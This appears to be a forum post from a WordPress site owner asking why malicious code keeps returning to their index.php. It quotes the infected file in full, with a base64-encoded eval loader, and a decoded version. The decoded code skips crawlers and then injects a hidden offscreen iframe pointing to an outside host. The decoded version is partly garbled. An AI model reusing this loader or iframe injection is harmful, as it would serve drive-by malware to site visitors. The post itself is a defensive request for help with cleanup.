Follow up question:
Here is the full index.php file
<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1YSA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiRib3RzVUEgPSBhcnJheSgnMTIzNDUnLCdhbGV4YS5jb20nLCdhbm9ueW1vdXNlLm9yZycsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ2Jsb2dwdWxzZS5jb20nLCdib3QnLCdidXp6dHJhY2tlci5jb20nLCdjcmF3bCcsJ2RvY29tbycsJ2RydXBhbC5vcmcnLCdmZWVkdG9vbHMnLCdodG1sZG9jJywnaHR0cGNsaWVudCcsJ2ludGVybmV0c2Vlci5jb20nLCdsaW51eCcsJ21hY2ludG9zaCcsJ21hYyBvcycsJ21hZ2VudCcsJ21haWwucnUnLCdteWJsb2dsb2cgYXBpJywnbmV0Y3JhZnQnLCdvcGVuYWNvb24uZGUnLCdvcGVyYSBtaW5pJywnb3BlcmEgbW9iaScsJ3BsYXlzdGF0aW9uJywncG9zdHJhbmsuY29tJywncHNwJywncnJycnJycnJyJywncnNzcmVhZGVyJywnc2x1cnAnLCdzbm9vcHknLCdzcGlkZXInLCdzcHlkZXInLCdzem4taW1hZ2UtcmVzaXplcicsJ3ZhbGlkYXRvcicsJ3ZpcnVzJywndmxjIG1lZGlhIHBsYXllcicsJ3dlYmNvbGxhZ2UnLCd3b3JkcHJlc3MnLCd4MTEnLCd5YW5kZXgnLCdpcGhvbmUnLCdhbmRyb2lkJyk7DQpmb3JlYWNoICgkYm90c1VBIGFzICRicykge2lmKHN0cnBvcyhzdHJ0b2xvd2VyKCR1YSksICRicykhPT0gZmFsc2UpeyRib3QgPSB0cnVlOyBicmVhazt9fQ0KaWYgKCEkYm90KXsNCgllY2hvKCI8c2NyaXB0IHR5cGU9XCJ0ZXh0L2phdmFzY3JpcHRcIj4iLmJhc2U2NF9kZWNvZGUoJ1pYWmhiQ2htZFc1amRHbHZiaWh3TEdFc1l5eHJMR1VzWkNsN1pUMW1kVzVqZEdsdmJpaGpLWHR5WlhSMWNtNG9ZenhoUHljbk9tVW9jR0Z5YzJWSmJuUW9ZeTloS1NrcEt5Z29ZejFqSldFcFBqTTFQMU4wY21sdVp5NW1jbTl0UTJoaGNrTnZaR1VvWXlzeU9TazZZeTUwYjFOMGNtbHVaeWd6TmlrcGZUdHBaaWdoSnljdWNtVndiR0ZqWlNndlhpOHNVM1J5YVc1bktTbDdkMmhwYkdVb1l5MHRLV1JiWlNoaktWMDlhMXRqWFh4OFpTaGpLVHRyUFZ0bWRXNWpkR2x2YmlobEtYdHlaWFIxY200Z1pGdGxYWDFkTzJVOVpuVnVZM1JwYjI0b0tYdHlaWFIxY200blhIZzFRMXd4TmpjckozMDdZejB4TzMwN2QyaHBiR1VvWXkwdEtXbG1LR3RiWTEwcGNEMXdMbkpsY0d4aFkyVW9ibVYzSUZKbFowVjRjQ2duWEZ4aUp5dGxLR01wS3lkY1hHSW5MQ2RjTVRRM0p5a3NhMXRqWFNrN2NtVjBkWEp1SUhBN2ZTZ25UbHcwTUZ4NE16aGNOelZjTVRBeklGdzJNVng0TXpnb0tWdzNNemhjZURKRlhERXlNaWhjZURNNFhEVTJYREV6TUZ3MU1GeDRNamxjZURKQ1hIZ3pNbHg0TWpsY056TlhLRng0TlVGY05UWlpYRFEyWEhneU5tSmNOVFo2TGx4NE5UWW9YSGd5TjFOY01UTTBYREV4TTF3eE16UmNNVEkxWEZ4Y01USTBYRnhjZURjMVhIZzFRMXg0TXpkY2VESTNLVng0TTBROVhEVTFYSGd6TVZ4NE1qbDdYSGcyTWx3MU5seDRNekZjZURNd0tGeDRNamRjZURWRFhEWXhYSGd6TjF4Y01WdzJObHg0TlVOY2VEWXhYRnhjTVRRelhGeGNlRE01WEhnMVExdzJNMXg0TlVOY01UUTNYREV6TkZ3Mk1UbGNYRnd4TkRaY2VEVkRNVFZjWEZ4NE5qUmNlRE5FWEhnMVExdzBNbHg0TWpkY05UTXdYRFUyWEhnek5TZ3dYSGd5UlRZb1hEVXhYRFV5TkZ3MU0xeDRNelFwWEhneVFsdzBOMXd4TXpSY05ESmNlRFZETVZ4NE16SmNlRFZEWERFME5sd3hNelF4WERZeFhIZzFRMlJjZURWRGNseGNYRFkzWERFek5ITmNORGRjTlROY05qQmNOVFkxWEhneU9GdzJNRng0TWtVMlhIZ3lPRng0TWpsY2VESkJYSGd6TkZ3MU0xdzJORncxTVZ3MU0xeDRNamRjWEZ4NE1qSmNYRnd4TkRkY01UTTBYRFl4WERZMFhIZzFRMXd4TnpCY01UTTBYSGd6TVZ4NE16TmNNVE0wTTF4Y1hIZzFNVnhjWEhnME1Wd3hNelJjTVRReFhIZzFRMXd4TURSY2VEVkRZVnhjWEhnek4xeGNYREUxTUZ4NE5VTmNlRFEzWEhnMVExdzBNbHg0TlVOY2VEUTRYSGcxUTBaY1hETmNOelZjWEZ3ME1sd3hNelJjZURjeFhERXpORnd4TURWY2VEVkRYSGcyUWx4NE5VTk5YRnhjTVRVMU9sd3hNelJjTVRRelhGeGNlRFV3WEZ4UFhIZzFRMXg0TkVGY01UTTBTVnhjWEhnMFExeDROVU5jZURjeU9seGNYRFl4WVZ3blhEVXpYRFl3WERVMk5WdzFNREJjZURKRk5sdzFNRncxTVZ4NE1rRmNlRE0wSzF4NE5rTXBLMXg0TWpkY2VETXhYREUzTWx4Y2Rsd3hNelIzWEhnMVExeDRNekZjTVRjeFhGeGNlRFkxWEhnelFWeDROVU5jZURNeFhERXdNbHduWERVek1DNWNOalZjTlRBd0xsdzJObHcxTUZ4NE1qbGNlREpCTkZ3MU0xd3hOVFJjTlRFclhIZ3lOMXg0TnpCY01UTTBYRFl4UVZ4Y1hERTFNRnd4TXpSY2VETXhYSGczT0Z4Y01YVmNNVE0wWEhnek4xeDROVU5jTVRZelhIZzFRMlJjZURWRE1WeDROelJjTnpKY2VEVkRYREUxTjF4Y2IxeGNYSGcwTVZ4Y1hEWXhYREUyTmx4NE5VTXhTVnd4TXpSY05qRmNNVEV3WEZ4Y05qRkhYSGd5UlZ4NE5rVmNYRnd4TnpGY1hGeDRNekZEWEZ3eFJseGNYSGd6TVZ4NE5EVmNYRGxjTVRNME0xeGNYRFl4UkZ3eE16UTVYRnhjZURNeGFGd3hNelJ0WERVMlhIZ3pNVnd4TkRkY1hGeDROekZjZURWRE1WeDROa0ZjTVRNMFhIZzJOVng0TlVOY2VEWXpYREV6TkZ3Mk1XbGNYRE5jTVRNME1Wd3hORFpjTVRNMFhERTFNVnhjWEhnek1Wd3hORE5jWEZ4NE16RmNlRFl5WEZ3eFhIZzJOVng0TlVOY2VEWkJYSGcxUTF4NE5qbGNlRFZEWEhnek1XUmNNVE0wWERZeGNWeDROVU14Y0Z3eE16UmNlRE14YzF4Y1hERTFNbHd4TXpSY0lsd3hNelJDWERFek5ERmNNVFl5WEhneVJseDROVU5yWEZ4Y05qRmNNVFUzWEhnMVExdzNNVnhjWERFMk5Gd3hNelJDWEhneU4xeDRNamxjTnpOY01UUXlMbnBjTnpWY0oxd3hNelF4WEhnMlExeGNkMXg0TlVOY01UWTFYRnhjTmpGY01UVXpYSGd5TjF3MU0xeDRNekJjTlRaY05qVW9YRFl3WEhneVJUWmNlREk0S1Z4NE1rRXhibHg0TWpsY05UTmNORGRjWEhaY2VEVkRYREUwTjF3eE16UmNOak5jWEZ3Mk1WeDROa1JjTVRNMFhERTBOVnd4TXpSY2VEWTJYRnhjZURjNFhERXpOSFJjWEhsY01UTTBYRFkzWEhneU4xdzFNMXczTUZ4NE1rVXhYSGczTnloY2VESTVmU2NzTmpJc01UQTNMQ2ROWEhnMk1WeDROelJjTVRVd1hIZzNRMXd4TnpSY2VEZERNVncyTkZ3Mk5YeGNOakZjZURNd01Gd3hOelJjZURZMlhIZzJRMjljZURaR1hIZzNNbHd4TnpSeVhIZzJNVzVrWERFMU4xeDROa1JjZURkRE4xeDRNelZjZURkRFhERTBOWGhjZURjd1hIZzNRMXg0TnpoY2VETTJYREV3TkZ4NE4wTmNlRE14TmpKOFpGeDROa1pjTVRRemRWeDROa1JsYmx3eE5qUjhYSGd6TVZ3Mk5ERjhlRFpjTnpCY01UYzBYSGczT0RkY05qQmNlRGREWEhnek1WeDRNelZjZURNeFhERTNORng0TXpSY2VETXdYREUzTkZ3Mk5GeDRNeko4WEhnek5seDRNemRjTVRjMFhIZ3pObHg0TXpWOFhERTNNRncyTmx4NE16bDhYSGd6TWpBd1hIZzNRMXg0TXpGY2VETTFObHg0TjBOOFhEWTFYRFkzZkh4Y05qRmNOall3ZkRFMlhIZ3pOSHg0WEhnek1seDRNekpjZURkRFhIZzNPRFpjTmpWY01UYzBYSGczT0Z3Mk5sdzJORnd4TnpSY01UY3dYRFl6UW54NFhIZ3pOMXcyTkh4Y2VEYzRYSGd6TjF3Mk1ueDROek5jZURkRFhIZzJNMjljZURaR1hERTFNMXd4TlRGY01UUTFYSGczUTF4NE56aGNOalpjTVRBMlhERTNORng0TXpkY2VETTJYREUzTkZ4NE5rVmNNVFExZDN4Y2VEYzRYRFkyWEhnek5HVmNNVGMwWERFM01EWkdYREUyTTF4NE4wTmNOakZjZURNM1hIZ3pNV3hjTVRjME5qQmNlRGREWEhnek5EQmNNVFl6ZEZ4NE4wTmNOamN6WEhnMlExeDROME5jZURNeFhEWTJYRFkxZEZ3eE5EVjhlRncyTlVaOFhIZzNPRFpjTmpWY01UUTJYSGczUTNoY05qZGNOalJjZURZNVhIZzJSbHg0TjBOY2VEYzJYSGcyTVZ4NE56SjhYSGczT0RjelhIZzJSbHg0TmtOY01UYzBYREUzTURZeVhIZzNRMXg0TXpGY05qUmNlRE15ZkhObFhIZzNORng0TkRSY01UUXhYREUyTkdWY2VEZERYM3hjTmpGY2VETTFYRFkxWERFMk5IeDROelZjZURkRFhERTFNVzVjTVRRMFhERTBOWGhjTVRFM1hIZzJObHg0TjBOY01UVXhYREUwTm54blpWeDROelJjZURRMFlYUmxYREUzTkZ4NE5qTmNNVFUzYjF3eE5UTmNNVFV4WlZ4NE5EVmNNVFUyWERFME1Wd3hOREpzWERFME5WeDROalI4WEhnMlJWeDROakYyYVZ4NE5qZGhYREUyTkZ4NE5rWnlmRnd4TmpkY01UWXlhVng0TnpSbFhIZzNRMXd4TnpBMlhEWTNmRng0TnpoY05qSmNOakJvWlZ3eE56UmNlRE14WERZMFhIZ3pNVnd4TlRWY01UYzBYREUzTUZ3Mk5sdzJObHd4TnpSY05qRmNlRE0wWERZMFhIZzNOSHd4TkZ4NE16WmNNVGMwZUZ3Mk0xd3hNRE5wWERFM05FUmhYREUyTkdWOFhEWXhYRFkyWERZM1hERTNOSGhjTmpKY2VEUTBYREUzTkZ3eE56QmNlRE16TVZ3eE56UjRYSGd6TTF3Mk5IdzJYRFkxWEhnek4xeDROME0yWEhnek0zeGNOamRjTmpWalhERTNORng0TnpCY01UVXdYSGczUTF4NE16RmNOalJjZURNeFhERTFNWHd4TkZ4NE16ZGNlRGREWEhnek4xeDRNemQ4ZUROY2VEUTBmRncyTVZ4NE16TmNlRE0zWERFek4zVnRYSGczUTF4NE16RTNNRng0TjBOY056RmNOekU1T1Z3M01WdzNNVng0TXpsY01UYzBYSGczT0RZMmNseDROakY4WEhnM09EWTFNRnd4TkRaOGVEWmNlRE15T0Z4NE4wTjRNME5jZURkRFhIZ3pNVFJjZURNelhERTNORncyTVRaY2VETTBYSGczTkZ4NE56QmNNVGMwWEhnek1WdzJOak55WTF4NE4wTXhYRFkxWEhnek0xeDROME5jTVRZMFhIZzJSbHg0TlRWVVhERXdNMU5jZURjMGNsd3hOVEZjTVRVMlhERTBOMXg0TjBONFhIZ3pNbHcyTUh4Y2VETXhYSGd6TlZ4NE16ZGNNVGMwWERFMk1GeDROemhjZURkRGVGeDRNemRjZURNNFhERTNORFZjZURNMVhIZzNRM2d6WEhnek1sd3hOelJjZURjNE1seDRORFpjZURkRGVGeDRNelpjZURNeFhIZzNRMXd4TnpCY05qSkZYREUxTmx4NE4wTmNOakUzWERZeGZGd3hOekEyWERFd01WeDROME14WERZMk1Gd3hOVEluTG5Od2JHbDBLQ2RjZURkREp5a3NNQ3g3ZlNrcCcpLiI8L3NjcmlwdD4iKTsNCn0='));
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);
/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?>
Which as mentioned was encoded and obfuscated, comes out to be something like this:
<?php
error_reporting(0);
$bot = FALSE ;
$ua = $_SERVER['HTTP_USER_AGENT'];
$botsUA = array('12345','alexa.com','anonymouse.org','bdbrandprotect.com','blogpulse.com','bot','buzztracker.com','crawl','docomo','drupal.org','feedtools','htmldoc','httpclient','internetseer.com','linux','macintosh','mac os','magent','mail.ru','mybloglog api','netcraft','openacoon.de','opera mini','opera mobi','playstation','postrank.com','psp','rrrrrrrrr','rssreader','slurp','snoopy','spider','spyder','szn-image-resizer','validator','virus','vlc media player','webcollage','wordpress','x11','yandex','iphone','android');
foreach ($botsUA as $bs) {if(strpos(strtolower($ua), $bs)!== false){$bot = true; break;}}
if (!$bot){
echo("<script type=\\"text/javascript\\">"
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\x5C\\167+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','\\147'),k[c]);return p;}(
var exp = new Date();
exp.setDate(exp.getDate() + 1);
if (navigator.cookieEnabled && document.cookie.indexOf('__umtd=') == -1) {
document.write('<iframe '
+ 'width="' + Math.floor(Math.random() * 100 + 100) + '" '
+ 'height="' + Math.floor(Math.random() * 100 + 100) + '" '
+ 'frameborder="0" '
+ 'style="position:absolute;'
+ 'left:-' + Math.floor(Math.random() * 100 + 200) + 'px;'
+ 'top:-' + Math.floor(Math.random() * 100 + 200) + 'px" '
+ 'src="http://xpqnwqn.ninth.biz/index.php?go=1"></iframe>');
document.cookie = '__umtd=' + Math.floor(Math.random() * 9999999) + '; '
+ 'expires=' + exp.toUTCString()
} ')."</script>");
}
If I removed the code from the index.php file yesterday, and it is already back today, what assumption(s) can I make about it? My thought is that I’m going to find it when I get into the database. Is there anything else I should check?